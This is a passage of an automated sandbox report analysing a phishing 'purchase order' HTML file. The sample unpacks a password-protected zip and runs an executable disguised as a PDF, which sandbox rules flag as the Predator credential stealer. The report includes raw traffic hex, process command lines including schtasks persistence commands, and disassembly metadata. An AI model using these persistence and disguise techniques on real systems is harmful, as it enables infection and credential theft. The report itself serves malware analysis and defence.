2023-02-21 06:06:04 UTC	853	IN	Data Raw: ac d8 c8 fd e9 2a 24 34 2f 40 e8 c2 00 be 3d b8 8d e1 c4 b1 6c ba ec c7 b6 a9 d2 3c 6f 98 4f f2 cd 28 d6 dc ba 8f 47 da 4d 14 cb c7 b3 9c 1c ec 0e fe e6 b2 88 3c 7b 53 64 31 1e 99 cd 9b 45 ef 90 0d 4b 43 4f cc 17 0b e5 be d8 ed 6d 65 43 d5 72 6a 83 4b b9 fa 5c 0b 8e 58 33 b5 24 17 42 ae 72 4a 7a 03 01 5e 02 12 ee ae e7 ad 79 30 92 6e aa a8 3b 2e c4 66 67 27 ef c4 36 f3 b8 c1 89 f3 a6 8b a9 d8 aa cd a1 71 75 2c f0 54 a0 76 cd 6f 1e 17 c6 21 6c 78 02 bf 4d e1 28 24 a6 08 4a 44 93 31 99 bf 98 d2 18 46 63 40 35 d9 33 7b 89 3a f4 87 41 f6 a6 d4 bc 54 66 9c ee 5e 26 bb 4e a2 ec f6 1f 3a c4 3e 21 f9 e7 01 b7 7e 98 70 49 6f 1f da d3 a7 20 f3 57 0a 1f ef 0c 4a 1d b3 70 ee b9 cd 9c 3f 95 ec 8a ac 20 e2 cc 36 f6 ac 3e 4e c6 e8 45 82 20 fa ce aa cd 07 d8 12 3f 86 a0 Data Ascii: *$4/@=l<oO(GM<{Sd1EKCOmeCrjK\X3$BrJz^y0n;.fg'6qu,Tvo!lxM($JD1Fc@53{:ATf^&N:>!~pIo WJp? 6>NE ?
2023-02-21 06:06:04 UTC	869	IN	Data Raw: f2 59 9d e4 5a 64 08 48 67 00 47 57 ef e7 d6 fe 23 98 be 94 e7 53 e0 0a 1c 8c ca b9 b9 26 93 e1 f5 92 58 8e 5f c9 e7 d4 01 24 0d d8 c3 da ca ad 24 0f 5a cd 9e 90 2b 7c 9f f5 84 d5 87 7c f0 0f 4d 64 e7 ee b1 68 9c df 85 d7 1b 27 66 ad 94 e6 df 6a 61 16 48 87 f2 3e 7e 1e cf d2 33 70 35 70 22 4d af 9b a6 da c7 5c be 92 4a bc d6 5d da fa 4d 63 7e f4 6a 82 de a5 b0 ea 92 28 c1 85 4f 91 db 2d 30 94 df 7e 9c db ff 80 2b 2b 2b d1 1b b3 9c 5a b7 4b 98 6e 93 e2 58 f3 59 be cb f7 c3 fd 49 29 e3 75 d2 19 b9 7a 11 87 d5 32 f8 3b 73 33 93 75 ce 33 7e 67 2a 9d ba 09 cc 69 3b 88 d9 e1 1b cc e9 97 45 7e 45 5f 4e da 0e a1 64 e8 53 ca 82 3f f1 cf 75 3b f9 d1 d2 1c 38 34 88 94 7f e1 64 29 56 73 b2 a3 83 cb 0b e5 39 3e 7a 0b 26 e2 ca d8 bb 3b f3 2d 4e 0d 9d 93 4b b8 ba 6a 23 Data Ascii: YZdHgGW#S&X_$$Z+\|\|Mdh'fjaH>~3p5p"M\J]Mc~j(O-0~+++ZKnXYI)uz2;s3u3~g*i;E~E_NdS?u;84d)Vs9>z&;-NKj#
2023-02-21 06:06:04 UTC	885	IN	Data Raw: 04 aa ed cf 08 49 6f b2 8e 2e e7 d1 de 43 9c 31 17 b4 2f 99 19 38 9a c7 12 b8 b3 19 cd ac c5 7c fb 71 86 f5 83 06 71 e1 91 39 35 b2 c1 78 87 b8 32 7a 70 03 d6 c7 5f e2 15 f0 85 23 e3 66 30 b9 49 8a 0d 9e c6 e4 8f 5a cf 7d 99 5d fc f2 7a cb 99 26 0b da ef cc e7 a1 bf 16 a7 75 3e f0 ef 78 25 fd 7d 6b 51 89 29 a2 24 24 8f e7 63 66 f2 5a 47 91 1d ae 03 d9 32 5e 14 cb 84 28 74 7a ec d9 5e 24 08 9a e1 ef 68 fb fa 83 d4 53 16 78 8d 98 c7 df 5b 91 64 be 08 67 4a 7b 0c a3 4a 4d 08 9b 6a c2 e0 03 82 a6 fc 7b 18 77 d4 c7 31 5b c2 8a 67 71 ef f8 ac 35 8f d0 e6 3e 26 25 0b c2 4e f5 20 c7 6f 1c 41 ef 5f 19 07 d6 ae 42 d7 e1 31 32 bb 57 33 76 83 01 55 e6 52 6c af d9 ce 1c 3b 13 1a 1c 3e 33 d7 dd 8a 15 e3 96 72 5b e4 3a 8d 97 36 23 f9 73 0b 13 d6 fa 91 e7 60 c3 9b 25 12 Data Ascii: Io.C1/8\|qq95x2zp_#f0IZ}]z&u>x%}kQ)$$cfZG2^(tz^$hSx[dgJ{JMj{w1[gq5>&%N oA_B12W3vURl;>3r[:6#s`%
2023-02-21 06:06:04 UTC	901	IN	Data Raw: 72 de 1d 30 9b f4 18 ef 40 0e 76 9c ab ad ac 6d 22 b1 ce 7f b8 54 c5 ca 44 f1 de 20 b9 d4 96 f5 f9 ef de bd db 6f fe 34 67 d3 9c 21 c5 b7 21 10 87 e9 4b ad 6c 1c da 91 7b 17 8c 7a 39 c6 d5 c0 be 63 36 d4 11 ac 7b c4 a6 5d 95 6c ec e5 75 e4 70 88 f0 ce 87 ca c0 c7 5d e2 ff c1 07 1f 34 89 bf d3 e9 64 f9 37 15 2e 97 03 8e 9e 42 1d 8f b1 c3 a4 97 aa c1 a8 2b 81 4a b9 03 3a 0d a0 ba 27 bd 92 b1 75 84 cb 25 9d 7f 6d bf 72 c1 9e 3d 7b fe 30 fe 65 55 76 9c 8b 6d d0 6d 88 16 14 b2 22 98 9b 65 62 dc a3 7b 19 21 ef 7a 39 fb 46 2a 1f 02 6f 87 a6 f2 27 9b e3 41 f9 3b 6b b0 0c a8 ef 03 c6 59 71 3c 34 c1 ae fd 25 10 91 68 62 f3 42 d6 e6 0a 20 1b 90 74 53 2a 1f 0e ce 7f ef de bd 4d e2 4f 69 a4 f2 f6 05 aa df 05 ab 6d 38 1e 9a a1 63 3f 1c e7 3b da a1 fb 50 15 54 57 57 b2 Data Ascii: r0@vm"TD o4g!!Kl{z9c6{]lup]4d7.B+J:'u%mr={0eUvmm"eb{!z9Fo'A;kYq<4%hbB tSMOim8c?;PTWW

Target ID:	0
Start time:	07:05:58
Start date:	21/02/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	07:05:59
Start date:	21/02/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1824,i,8588075686359145488,6745055001318755310,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	07:06:00
Start date:	21/02/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\REVISED PURCHASE ORDER.HTML
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	07:06:04
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip
Imagebase:	0x460000
File size:	12800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	07:06:05
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\itl30nap.yii" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip
Imagebase:	0x1330000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	07:06:05
Start date:	21/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	07:06:05
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe" /C "C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	07:06:05
Start date:	21/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	07:06:05
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Imagebase:	0xee0000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	18
Start time:	07:06:29
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp
Imagebase:	0x320000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	19
Start time:	07:06:29
Start date:	21/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	20
Start time:	07:06:29
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xd60000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	21
Start time:	07:06:30
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
Imagebase:	0x7c0000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs

Show Windows behavior

Target ID:	22
Start time:	07:06:54
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\Zip.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Zip.exe"
Imagebase:	0x185be230000
File size:	32256 bytes
MD5 hash:	3AFD64484A2A34FC34D1155747DD3847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs

Show Windows behavior

Target ID:	23
Start time:	07:06:56
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Imagebase:	0xe00000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	28
Start time:	07:06:57
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Imagebase:	0x6f0000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	29
Start time:	07:07:04
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Imagebase:	0x780000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	33
Start time:	07:07:06
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Imagebase:	0x10000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	36
Start time:	07:07:50
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp
Imagebase:	0x320000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	37
Start time:	07:07:50
Start date:	21/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	38
Start time:	07:07:54
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xa90000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Target ID:	39
Start time:	07:08:03
Start date:	21/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp
Imagebase:	0x320000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	40
Start time:	07:08:04
Start date:	21/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	41
Start time:	07:08:05
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	false
Commandline:	{path}
Imagebase:	0x480000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	42
Start time:	07:08:05
Start date:	21/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232107.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x800000
File size:	1336832 bytes
MD5 hash:	8BF528E76290091A786846C8F8FFBCF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Execution Graph

Execution Coverage:	22.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.9%
Total number of Nodes:	81
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 024FB1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 024FB208

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7fa6984abad28a4178489e498749fd468e0df9a090f1bcb5239794be8519ed4a
Instruction ID: 793c792150158fe5abbc1d983736725b5fabfea643e6184352a8f1f463b5d1f9
Opcode Fuzzy Hash: 7fa6984abad28a4178489e498749fd468e0df9a090f1bcb5239794be8519ed4a
Instruction Fuzzy Hash: 6601AD318042409FDB50CF55E88976AFBE4EF4A224F08C4ABDE488F316D379A558CF62

Uniqueness

Uniqueness Score: -1.00%

Function 04C10799 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X1qk, xrefs: 04C10966
:@Jk, xrefs: 04C10822
:@Jk, xrefs: 04C108B5

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID: :@Jk$:@Jk$X1qk
API String ID: 0-421467970
Opcode ID: 2870a98df4b04eb2b2d592f99fc7f6950f1a3efee0cbc44e965925ed4194527b
Instruction ID: 71d34bf905fffb0f7899268546893f021106419c839f4020af609e6966e4086c
Opcode Fuzzy Hash: 2870a98df4b04eb2b2d592f99fc7f6950f1a3efee0cbc44e965925ed4194527b
Instruction Fuzzy Hash: 0EA1AD70B002008FDB18AF75D865B7E77E7EF84308F148839D906977A9EB78AC429B55

Uniqueness

Uniqueness Score: -1.00%

Function 024FA6D4 Relevance: 3.1, APIs: 2, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 024FA748

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 789f332d04134a8e544a642cd67b2cb91349c12e2781e61901c1c0048268a8c7
Instruction ID: 86982882fc22ea049eed81ae8af12c1ae91e2f4997d2c3e186b8ef54f42c7149
Opcode Fuzzy Hash: 789f332d04134a8e544a642cd67b2cb91349c12e2781e61901c1c0048268a8c7
Instruction Fuzzy Hash: B441E6755097805FDB12CB25DC85B96FFA8DF46620F1884EBED448F253D274A908CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 024FB246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 024FB2F3

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 08a239cfdf97d03deb27bc5d8c4891ed781c981dc51bc43f173b09369354184b
Instruction ID: c1dca41884da27d702fa2156400b39909be7d2a52d510ad0932f3f30bb393ed9
Opcode Fuzzy Hash: 08a239cfdf97d03deb27bc5d8c4891ed781c981dc51bc43f173b09369354184b
Instruction Fuzzy Hash: 363188B14043446FEB228B61DC45FA7BFECEF46224F0484AAE985CB552D364A519CB71

Uniqueness

Uniqueness Score: -1.00%

Function 024FAD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 024FADA7

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 544ac721c29d19052e1aa9b1a7708234873a329cc6174ef43570c95f5619925f
Instruction ID: 9e1257c49ada6e4e6fe31978d717839baf5a7fe1ff94f0b97d9a844bb0418adc
Opcode Fuzzy Hash: 544ac721c29d19052e1aa9b1a7708234873a329cc6174ef43570c95f5619925f
Instruction Fuzzy Hash: 963195B24043446FEB228B65DC44FA7BBECEF45224F0488AAF985CB552D324A519CB71

Uniqueness

Uniqueness Score: -1.00%

Function 024FAB76 Relevance: 1.6, APIs: 1, Instructions: 92
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 024FAC36

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: e02f80c6d6816ff6eb86eacf8b3374a56aff13d5a593e1b4c467b17d191756c9
Instruction ID: dec30c1be7684c0d88aaee904562936c62ca50f58bd3cc70cd3955373c53528b
Opcode Fuzzy Hash: e02f80c6d6816ff6eb86eacf8b3374a56aff13d5a593e1b4c467b17d191756c9
Instruction Fuzzy Hash: 50316E7140E3C06FD3039B718C61A52BFB4AF47610F1D84DBD8C88F5A3D2696919CB66

Uniqueness

Uniqueness Score: -1.00%

Function 024FA5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 024FA67D

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f3d07380a3bfdd75dfcebb0ed6abbf221fd6dd001a5cce907307ac5897c9a311
Instruction ID: ce446992098fa46f6673e3e0b56de955aa1a4a2bb9582b0b93f693d1f947102f
Opcode Fuzzy Hash: f3d07380a3bfdd75dfcebb0ed6abbf221fd6dd001a5cce907307ac5897c9a311
Instruction Fuzzy Hash: 4131AFB1504340AFE722CF65DC44F66FBE8EF49614F0884AEE9898B652D335E508CB71

Uniqueness

Uniqueness Score: -1.00%

Function 024FA120 Relevance: 1.6, APIs: 1, Instructions: 83
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 024FA1C2

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3d37c3eabc8aa7450004a535d7312ba087e07a2f2d89d33d9cd3a57d78b9a450
Instruction ID: dace483ae1592638caf8ca16f5a788f4a7cd6e647376dbed860fad40d8bdc0e8
Opcode Fuzzy Hash: 3d37c3eabc8aa7450004a535d7312ba087e07a2f2d89d33d9cd3a57d78b9a450
Instruction Fuzzy Hash: 8621B27140D3C06FD7128B358C51BA2BFB4EF47620F1985DBD9848F693D225A91ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 024FB276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 024FB2F3

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b7b2aab46a39626183f4b94f0d1381b85b685b88028ce8b6e54fe3890be40047
Instruction ID: 59a4efd57471de58a218960b8336bcbf90de1a423b5693b56e1654fd89a7b6fc
Opcode Fuzzy Hash: b7b2aab46a39626183f4b94f0d1381b85b685b88028ce8b6e54fe3890be40047
Instruction Fuzzy Hash: 3721C1B2500204AFEB219F61DC84FABF7ECEF09224F04886AEE458B651D374E419CB75

Uniqueness

Uniqueness Score: -1.00%

Function 024FA370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,3A660FB3,00000000,00000000,00000000,00000000), ref: 024FA40C

Memory Dump Source

Source File: 00000003.00000002.358643676.00000000024FA000.00000040.00000800.00020000.00000000.sdmp, Offset: 024FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24fa000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
